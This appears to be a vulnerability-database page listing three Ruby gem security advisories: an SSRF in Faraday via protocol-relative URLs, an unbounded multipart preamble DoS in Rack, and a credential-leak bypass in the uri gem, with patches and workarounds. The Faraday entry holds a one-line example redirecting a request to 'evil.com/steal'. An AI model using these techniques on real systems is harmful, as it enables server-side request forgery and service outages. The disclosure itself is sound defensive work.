Vulnerability from github – Published: 2026-02-09 20:37 – Updated: 2026-02-13 17:16
VLAI?
Summary
Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Details
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
ruby
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
ruby
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
Severity ?
5.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25765"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:37:05Z",
"nvd_published_at": "2026-02-09T21:15:49Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n Faraday\u0027s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby\u0027s\n `URI#merge` to combine the connection\u0027s base URL with a user-supplied path. Per RFC 3986,\n protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n that override the base URL\u0027s host/authority component.\n\n This means that if any application passes user-controlled input to Faraday\u0027s `get()`,\n `post()`, `build_url()`, or other request methods, an attacker can supply a\n protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n `/`, so protocol-relative URLs bypass it entirely.\n\n **Example:**\n ```ruby\n conn = Faraday.new(url: \u0027https://api.internal.com\u0027)\n conn.get(\u0027//evil.com/steal\u0027)\n # Request is sent to https://evil.com/steal instead of api.internal.com\n ```\n\n### Patches\n\n Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n Applications should validate and sanitize any user-controlled input before passing it to\n Faraday request methods. Specifically:\n\n - Reject or strip input that starts with // followed by a non-/ character\n - Use an allowlist of permitted path prefixes\n - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n Example validation:\n ```ruby\n def safe_path(user_input)\n raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n user_input\n end\n ```",
"id": "GHSA-33mh-2634-fwr2",
"modified": "2026-02-13T17:16:36Z",
"published": "2026-02-09T20:37:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25765"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/pull/1569"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v1.10.5"
},
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/releases/tag/v2.14.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc3986#section-5.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url"
}
GHSA-P543-XPFM-54CP
Vulnerability from github – Published: 2025-10-07 17:26 – Updated: 2025-10-13 15:29
VLAI?
Summary
Rack's unbounded multipart preamble buffering enables DoS (memory exhaustion)
Details
Summary
Rack::Multipart::Parser buffers the entire multipart preamble (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions.
Details
While searching for the first boundary, the parser appends incoming data into a shared buffer (@sbuf.concat(content)) and scans for the boundary pattern:
@sbuf.scan_until(@body_regex)
If the boundary is not yet found, the parser continues buffering data indefinitely. There is no trimming or size cap on the preamble, allowing attackers to send arbitrary amounts of data before the first boundary.
Impact
Remote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection.
Mitigation
- Upgrade: Use a patched version of Rack that enforces a preamble size limit (e.g., 16 KiB) or discards preamble data entirely per RFC 2046 § 5.1.1.
- Workarounds:
- Limit total request body size at the proxy or web server level.
- Monitor memory and set per-process limits to prevent OOM conditions.
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61770"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T17:26:16Z",
"nvd_published_at": "2025-10-07T15:16:02Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` buffers the entire multipart **preamble** (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions.\n\n## Details\n\nWhile searching for the first boundary, the parser appends incoming data into a shared buffer (`@sbuf.concat(content)`) and scans for the boundary pattern:\n\n```ruby\n@sbuf.scan_until(@body_regex)\n```\n\nIf the boundary is not yet found, the parser continues buffering data indefinitely. There is no trimming or size cap on the preamble, allowing attackers to send arbitrary amounts of data before the first boundary.\n\n## Impact\n\nRemote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection.\n\n## Mitigation\n\n* **Upgrade:** Use a patched version of Rack that enforces a preamble size limit (e.g., 16 KiB) or discards preamble data entirely per [RFC 2046 \u00a7 5.1.1](https://www.rfc-editor.org/rfc/rfc2046.html#section-5.1.1).\n* **Workarounds:**\n * Limit total request body size at the proxy or web server level.\n * Monitor memory and set per-process limits to prevent OOM conditions.",
"id": "GHSA-p543-xpfm-54cp",
"modified": "2025-10-13T15:29:37Z",
"published": "2025-10-07T17:26:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-p543-xpfm-54cp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61770"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61770.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s unbounded multipart preamble buffering enables DoS (memory exhaustion)"
}
GHSA-J4PR-3WM6-XX2R
Vulnerability from github – Published: 2025-12-30 21:07 – Updated: 2025-12-30 21:07
VLAI?
Summary
URI Credential Leakage Bypass over CVE-2025-27221
Details
Impact
In affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.
When using the + operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.
The vulnerability affects the uri gem bundled with the following Ruby series:
- 0.12.4 and earlier (bundled in Ruby 3.2 series)
- 0.13.2 and earlier (bundled in Ruby 3.3 series)
- 1.0.3 and earlier (bundled in Ruby 3.4 series)
Patches
Upgrade to 0.12.5, 0.13.3 or 1.0.4
References
- https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/
- https://hackerone.com/reports/2957667
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "0.13.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "uri"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61594"
],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T21:07:14Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\n\nIn affected URI version, a bypass exists for the fix to CVE-2025-27221 that can expose user credentials.\n\nWhen using the `+` operator to combine URIs, sensitive information like passwords from the original URI can be leaked, violating RFC3986 and making applications vulnerable to credential exposure.\n\nThe vulnerability affects the `uri` gem bundled with the following Ruby series:\n\n* 0.12.4 and earlier (bundled in Ruby 3.2 series)\n* 0.13.2 and earlier (bundled in Ruby 3.3 series)\n* 1.0.3 and earlier (bundled in Ruby 3.4 series)\n\n### Patches\n\nUpgrade to 0.12.5, 0.13.3 or 1.0.4\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/\n* https://hackerone.com/reports/2957667",
"id": "GHSA-j4pr-3wm6-xx2r",
"modified": "2025-12-30T21:07:15Z",
"published": "2025-12-30T21:07:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/uri/commit/20157e3e29b125ff41f1d9662e2e3b1d066f5902"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/commit/7e521b2da0833d964aab43019e735aea674e1c2c"
},
{
"type": "WEB",
"url": "https://github.com/ruby/uri/commit/d3116ca66a3b1c97dc7577f9d2d6e353f391cd6a"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/uri"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/uri/CVE-2025-61594.yml"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2025/10/07/uri-cve-2025-61594"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "URI Credential Leakage Bypass over CVE-2025-27221"
}
Loading…
Show additional events:
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…